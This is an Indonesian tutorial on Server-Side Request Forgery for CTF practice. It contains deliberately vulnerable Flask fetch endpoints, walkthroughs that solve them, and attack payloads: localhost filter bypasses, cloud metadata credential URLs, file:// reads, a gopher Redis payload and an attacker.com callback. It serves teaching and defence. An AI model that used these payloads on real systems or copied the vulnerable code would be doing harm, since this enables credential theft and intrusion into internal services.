

Apa itu Server-Side Request Forgery (SSRF)

SSRF (Server-Side Request Forgery) adalah celah keamanan dimana attacker membuat **server target** mengirim request ke alamat lain yang seharusnya tidak boleh diakses user biasa.

Intinya:

- Normalnya:

User → Website → Response

- Pada SSRF:

User → Website → Website mengakses URL lain → Response

Attacker “memanfaatkan server sebagai proxy”.

Cara Kerja SSRF

Misalnya ada fitur:

```
@app.route("/fetch")
```

```
def fetch():
```

```
    url = request.args.get("url")
```

```
    r = requests.get(url)
```

```
    return r.text
```

Website mengambil URL dari user lalu server melakukan request.

User normal:

```
/fetch?url=https://example.com
```

Tetapi attacker bisa:

```
/fetch?url=http://127.0.0.1/admin
```

Server akan mencoba membuka:

```
http://127.0.0.1/admin
```

Padahal localhost biasanya hanya boleh diakses internal.

Kenapa SSRF Berbahaya

SSRF bisa digunakan untuk:

- Mengakses localhost
 - Scan port internal
 - Mengambil metadata cloud
 - Bypass firewall internal
 - Mengakses admin panel internal
 - Membaca service internal
 - Kadang RCE (Remote Code Execution)
-

Target SSRF Umum di CTF

Biasanya SSRF dipakai untuk mengakses:

Target	Fungsi
127.0.0.1	localhost
localhost	internal service
169.254.169.254	metadata cloud AWS
10.x.x.x	internal network
192.168.x.x	LAN
file://	baca file lokal
gopher://	exploit service lain

Contoh Challenge SSRF CTF Jeopardy

Soal

Aplikasi Flask:

```
from flask import Flask, request
```

```
import requests
```

```
app = Flask(__name__)
```

```
@app.route("/")
def home():
    return '''
    <form action="/check">
        <input name="url">
        <input type="submit">
    </form>
    '''
```

```
@app.route("/check")
def check():
    url = request.args.get("url")

    r = requests.get(url)

    return r.text
```

```
@app.route("/flag")
def flag():
    if request.remote_addr == "127.0.0.1":
        return "Flag{SSRF_123}"
    else:
        return "Access denied"
```

Analisis Vulnerability

Endpoint:

/check?url=

membuat server melakukan request ke URL manapun.

Sedangkan:

/flag

hanya bisa diakses dari localhost.

Eksplorasi SSRF

Attacker kirim:

/check?url=http://127.0.0.1:5000/flag

Alur:

Attacker

↓

/check?url=http://127.0.0.1:5000/flag

Server Flask

↓

```
requests.get("http://127.0.0.1:5000/flag")
```

Karena request berasal dari localhost:

```
request.remote_addr == 127.0.0.1
```

Flag keluar

Output:

```
Flag{SSRF_123}
```

Diagram SSRF

[Attacker]

v

[Attacker]

SSRF Blind

Kadang response tidak tampil.

Contoh:

```
requests.get(url)
```

```
return "Done"
```

Attacker tidak melihat hasil.

Ini disebut:

Blind SSRF

Tetapi attacker masih bisa:

- scan port
 - trigger webhook
 - ping attacker server
-

Contoh Blind SSRF CTF

User input:

http://attacker.com

Jika server melakukan request:

GET / HTTP/1.1

Host: attacker.com

Attacker tahu SSRF berhasil karena log masuk ke servernya.

SSRF untuk Port Scanning

Misalnya:

/check?url=http://127.0.0.1:22

Jika response timeout:

- port mungkin terbuka

Jika connection refused:

- port tertutup

CTF sering menggunakan teknik ini.

SSRF Metadata Cloud

Target terkenal:

http://169.254.169.254/latest/meta-data/

Pada cloud seperti Amazon Web Services, metadata bisa menyimpan:

- access token
- IAM credential
- instance info

Contoh:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

SSRF dengan file://

Kadang library mendukung:

file:///etc/passwd

Server membaca file lokal.

Contoh output:

root:x:0:0:root:/root:/bin/bash

SSRF dengan gopher://

Advanced SSRF.

Bisa kirim raw TCP packet.

Contoh:

gopher://127.0.0.1:6379/_INFO

Digunakan untuk exploit:

- Redis
- FastCGI
- SMTP
- Memcached

Biasanya kategori hard di CTF.

Filter Bypass SSRF

Developer kadang memblok:

if "127.0.0.1" in url:

blocked

Bypass umum:

Menggunakan localhost alternatif

127.1

0.0.0.0

2130706433

0x7f000001

localhost

Bypass URL Encoding

`http://127.0.0.1%2fadmin`

Bypass DNS Rebinding

Domain:

`evil.com`

awalnya resolve ke IP publik lalu berubah ke localhost.

SSRF di Dunia Nyata

Kasus nyata sering terjadi di:

- image fetcher
- webhook
- PDF generator
- URL preview
- import from URL
- API fetcher

Contoh perusahaan yang pernah terdampak SSRF termasuk layanan cloud dan aplikasi web besar seperti Microsoft dan Google.

Cara Mencegah SSRF

1. Whitelist Domain

Hanya izinkan domain tertentu.

`allowed = ["example.com"]`

2. Block Internal IP

Blok:

- `127.0.0.1`

- localhost
 - 10.x.x.x
 - 192.168.x.x
-

3. Disable Dangerous Scheme

Blok:

- file://
 - gopher://
 - ftp://
-

4. Gunakan Firewall

Pisahkan internal service.

Contoh Soal CTF SSRF Sederhana

Source Code

```
from flask import Flask, request
import requests
```

```
app = Flask(__name__)
```

```
FLAG = "Flag{Simple_SSRF}"
```

```
@app.route("/")
```

```
def home():
```

```
    return ""
```

```
    <form action="/visit">
```

```
        <input name="url">
```

```
        <input type="submit">
```

```
</form>
```

```
'''
```

```
@app.route("/visit")
```

```
def visit():
```

```
    url = request.args.get("url")
```

```
    if "127.0.0.1" in url:
```

```
        return "Blocked"
```

```
    return requests.get(url).text
```

```
@app.route("/admin")
```

```
def admin():
```

```
    if request.remote_addr == "127.0.0.1":
```

```
        return FLAG
```

```
    return "Forbidden"
```

Walkthrough Penyelesaian

Filter hanya memblok:

127.0.0.1

Bypass dengan:

http://2130706433:5000/admin

Karena:

2130706433 = 127.0.0.1

Exploit:

/visit?url=http://2130706433:5000/admin

Output:

Flag{Simple_SSRF}

Tingkatan SSRF di CTF

Level	Teknik
-------	--------

Easy	localhost access
------	------------------

Medium	filter bypass
--------	---------------

Hard	blind SSRF
------	------------

Expert	gopher SSRF
--------	-------------

Insane	Redis/FastCGI chain
--------	---------------------

Tools untuk SSRF

Beberapa tools yang sering dipakai:

- [Burp Suite](#)
 - [ffuf](#)
 - [Interactsh](#)
 - [SSRFmap](#)
-

Ringkasan SSRF

Konsep	Penjelasan
--------	------------

SSRF	Server dipaksa request URL lain
------	---------------------------------

Tujuan	akses internal
--------	----------------

Umum di CTF	localhost/admin
-------------	-----------------

Teknik	bypass filter
--------	---------------

Advanced	blind SSRF, gopher
----------	--------------------

Bahaya	internal access, cloud credential
--------	-----------------------------------
